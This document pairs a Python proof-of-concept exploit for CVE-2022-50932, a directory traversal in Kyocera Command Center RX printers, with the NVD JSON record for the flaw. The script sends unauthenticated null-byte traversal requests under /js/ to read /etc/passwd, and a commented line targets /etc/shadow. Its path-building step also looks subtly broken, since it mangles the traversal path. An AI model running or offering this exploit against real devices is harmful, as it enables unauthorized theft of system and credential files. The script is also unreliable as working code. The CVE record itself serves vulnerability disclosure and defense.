CVE-2022-50932

import requests # CVE-2022-50932 PoC - Kyocera Command Center RX Directory Traversal # Target: Kyocera ECOSYS M2035dn with Command Center RX def exploit_directory_traversal(target_url, file_path): """ Exploit directory traversal vulnerability to read sensitive files Args: target_url: Base URL of Kyocera device (e.g., http://192.168.1.100) file_path: Absolute path of file to read (e.g., /etc/passwd) """ # Encode null byte and construct traversal path encoded_path = file_path.replace('/', '/..') + '%00.jpg' # Construct the malicious URL exploit_url = f"{target_url}/js/{encoded_path}" print(f"[*] Target: {target_url}") print(f"[*] Exploit URL: {exploit_url}") print(f"[*] Requesting file: {file_path}") try: response = requests.get(exploit_url, timeout=10) if response.status_code == 200: print(f"[+] Success! File content retrieved:") print("=" * 50) print(response.text) print("=" * 50) return response.text else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None # Example usage if __name__ == "__main__": target = "http://192.168.1.100" # Replace with actual target IP # Read /etc/passwd exploit_directory_traversal(target, "/etc/passwd") # Read /etc/shadow (requires root privileges on some systems) # exploit_directory_traversal(target, "/etc/shadow")

{"cve": {"id": "CVE-2022-50932", "sourceIdentifier": "[email protected]", "published": "2026-01-13T23:15:57.967", "lastModified": "2026-01-30T15:08:41.740", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kyocera Command Center RX ECOSYS M2035dn contains a directory traversal vulnerability that allows unauthenticated attackers to read sensitive system files by manipulating file paths under the /js/ path. Attackers can exploit the issue by sending requests like /js/../../../../.../etc/passwd%00.jpg (null-byte appended traversal) to access critical files such as /etc/passwd and /etc/shadow."}, {"lang": "es", "value": "La impresora Kyocera Command Center RX ECOSYS M2035dn presenta una vulnerabilidad de recorrido de directorios que permite a atacantes no autenticados leer archivos confidenciales del sistema mediante la manipulación de las rutas de los archivos bajo la ruta /js/. Los atacantes pueden aprovechar esta vulnerabilidad enviando solicitudes como /js/../../../../.../etc /passwd%00.jpg (recorrido con byte nulo añadido) para acceder a archivos críticos como /etc /passwd y /etc /shadow."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:kyocera:command_center_rx:ecosys_m2035dn:*:*:*:*:*:*:*", "matchCriteriaId": "BD8CCE60-F6F3-43A4-8A70-882EB6167BD9"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/50738", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.kyoceradocumentsolutions.com/asia/en/products/business-application/command-center-rx.html", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/kyocera-command-center-rx-ecosys-mdn-directory-traversal-file-disclosure-unauthenticated", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/50738", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit"]}]}}